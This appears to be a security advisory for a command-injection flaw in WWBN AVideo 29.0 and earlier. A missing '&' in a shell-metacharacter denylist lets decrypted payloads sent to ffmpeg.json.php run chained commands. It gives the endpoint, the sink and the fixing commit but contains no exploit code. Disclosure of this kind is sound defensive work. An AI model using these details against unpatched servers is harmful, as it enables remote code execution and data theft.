The AVideo project contains a function sanitizeFFmpegCommand() that is intended to strip dangerous shell metacharacters from commands that the encoder will run. A recent update added a denylist that omitted the single ampersand '&' – the shell background operator. Because the background operator was not neutralised, an attacker who can supply an encrypted payload that decrypts into a command string containing '&' can cause the server to execute arbitrary shell commands via execAsync() with a sh -c sink. The flaw also permits chaining multiple commands separated by '&', enabling more destructive actions such as code deployment and data exfiltration. The vulnerability remains in all released versions up through 29.0; the commit identified by c1cfa2bea8a351a1d07f5758f82887403e3abf1f corrects this by adding the ampersand to the denylist and removing "&&".

All publicly released builds of WWBN AVideo version 29.0 and earlier are affected. The issue arises specifically in the ffmpeg.json.php endpoint where encrypted payloads are processed, so any deployment that exposes this endpoint without applying the patch remains vulnerable.

The CVSS score of 8.1 classifies the vulnerability as high severity, while an EPSS score of 2% indicates a low overall probability of exploitation for the broader attack population. The issue is not currently listed in CISA’s KEV catalog, but its remote nature means that an attacker who can craft a valid encrypted payload could achieve arbitrary command execution, potentially affecting the entire encoder server. No publicly available exploit has been reported; however, the ability to chain commands via '&' introduces significant risk for persistence, data exfiltration, or other malicious payloads.